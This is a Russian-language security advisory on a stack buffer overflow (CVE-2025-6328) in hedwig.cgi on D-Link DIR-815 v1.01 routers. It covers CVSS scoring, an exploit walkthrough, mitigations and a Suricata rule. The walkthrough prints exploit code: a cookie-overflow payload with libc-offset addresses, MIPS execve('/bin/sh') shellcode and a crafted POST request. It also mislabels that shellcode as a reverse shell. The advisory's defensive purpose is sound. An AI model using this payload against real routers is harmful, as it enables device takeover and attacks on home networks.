
Уязвимость BDU:2025-07584 (CVE-2025-6328) D-Link DIR-815
Уязвимость BDU:2025-07584 (CVE-2025-6328) переполнения буфера в функции sub_403794()
CGI-скрипта hedwig.cgi
в маршрутизаторах D-Link DIR-815 v1.01. Позволяет удалённому злоумышленнику выполнить произвольный код или вызвать отказ в обслуживании (DoS).
Анализ уязвимости
Уровень опасности: 7.4 HIGH (CVSS-BT)
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
-
AV:N (Attack Vector: Network) – Атака выполняется удалённо через сеть.
-
AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.
-
AT:N (Attack Requirements: None) – Не требует дополнительных условий.
-
PR:L (Privileges Required: Low) – Требуется доступ к сети управления (не админский).
-
UI:N (User Interaction: None) – Вовлечение пользователя не нужно.
-
VC:H/VI:H/VA:H (Confidentiality/Integrity/Availability Impact: High) – Полное нарушение конфиденциальности, целостности и доступности.
-
SC:N/SI:N/SA:N (Subsequent Systems Impact: None) – Не затрагивает смежные системы.
-
E:P (Exploit Maturity: Proof-of-Concept) – Доступен рабочий эксплоит.
Условия эксплуатации:
-
Локальный доступ к сети: Злоумышленник должен находиться во внутренней сети маршрутизатора.
-
Версия прошивки: Только DIR-815 v1.01 (уязвимый бинарный файл
hedwig.cgi
). -
Открытый веб-интерфейс: Порт 80/TCP или 443/TCP должен быть доступен.
Технический анализ эксплоита
Механизм уязвимости:
Уязвимость возникает при обработке параметра uid
в HTTP-куках POST-запроса к hedwig.cgi
. Функция sub_403794()
некорректно проверяет длину входных данных, что приводит к переполнению стека. Это позволяет перезаписать:
-
Указатель возврата (
$ra
). -
Регистры
$s1
,$s3
,$s4
(управляют потоком выполнения).
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.
Разбор кода эксплоита:
payload = b"uid=" + b"a"*0x3cd # Заполнение буфера payload += b"a"*(4+0x18+12-2) # Выравнивание до регистров # Перехват потока выполнения: payload += p32(libc_base + 0x436D0) # $s1: адрес инструкции move $t9, $s3 payload += b"abcd" # Padding payload += p32(libc_base + 0x56BD0) # $s3: адрес функции sleep() payload += cyclic(20) # Заполнение payload += p32(libc_base + 0x57E50) # $ra: переход к shellcode # Шелл-код (MIPS): shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f # "//bin/sh" sw $t7, -12($sp) li $t6, 0x68732f6e # "n/sh" sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) # Аргумент для execve slti $a1, $zero, -1 li $v0, 4011 # Системный вызов execve syscall 0x40404 ''') payload += shellcode
Этапы атаки:
-
Инициализация: Эмуляция MIPS через QEMU с отладкой на порту 1234.
-
Формирование запроса:
-
Cookie:
uid=[Мусор + Адреса в памяти + Шелл-код]
. -
Тело POST:
Thir0th=Pwner
(триггер уязвимости).
-
-
Хищение потока:
-
Перезапись
$s1
,$s3
,$ra
перенаправляет выполнение на шелл-код.
-
-
Выполнение кода:
-
Шелл-код запускает
/bin/sh
, открывая обратную оболочку.
-
Вредоносный HTTP-запрос:
POST /hedwig.cgi HTTP/1.1 Host: 192.168.0.1 Cookie: uid=aaaaaaaa...<эксплоит>... Content-Type: application/x-www-form-urlencoded Content-Length: 13 Thir0th=Pwner
Возможные последствия эксплуатации
-
Полный контроль над устройством:
-
Чтение/изменение конфигурации (пароли, правила firewall).
-
Перенастройка DNS (фишинг или блокировка ресурсов).
-
-
Атаки на внутреннюю сеть:
-
ARP-спуфинг, сниффинг трафика.
-
Атаки на другие устройства в локальной сети.
-
-
Устойчивый доступ:
-
Установка бэкдоров в прошивку.
-
-
Криптоджекинг:
-
Использование ресурсов устройства для майнинга.
-
-
Отказ в обслуживании (DoS):
-
Блокировка интернет-доступа через перезагрузку роутера.
-
Способы защиты
1. Обновление прошивки
-
Официальный патч от D-Link (если выпущен - на момент публикации отсутствовал).
-
Проверка актуальности:
Настройки > Система > Обновление ПО
.
2. Сетевые ограничения
-
Сегментация сети: Выделение роутера в отдельный VLAN.
3. Правила для Suricata/IPS
Детектирование по аномальной длине uid
в куках:
alert http any any -> $HOME_NET any ( msg: "CVE-2025-6328: D-Link DIR-815 Buffer Overflow"; flow: to_server, established; content: "/hedwig.cgi"; http_uri; content: "POST"; http_method; content: "uid="; http_cookie; pcre: "/uid=[^;]{500,}/"; # uid длиннее 500 байт classtype: attempted-admin; sid: 20256328; rev: 1; )
4. Hardening веб-интерфейса
-
Смена порта HTTP/HTTPS на нестандартный.
-
Ограничение доступа к панели управления по IP-адресу.
5. Замена оборудования
-
Использование роутеров с поддержкой регулярных обновлений.
Заключение
Уязвимость критична из-за простоты эксплуатации и полного компромисса устройства. Для защиты необходимо сочетание:
-
Сетевой сегментации.
-
IPS-правил на L3-устройствах.
-
Отключения неиспользуемых сервисов.
Владельцам DIR-815 v1.01 рекомендуется замена оборудования или строгая изоляция устройства.
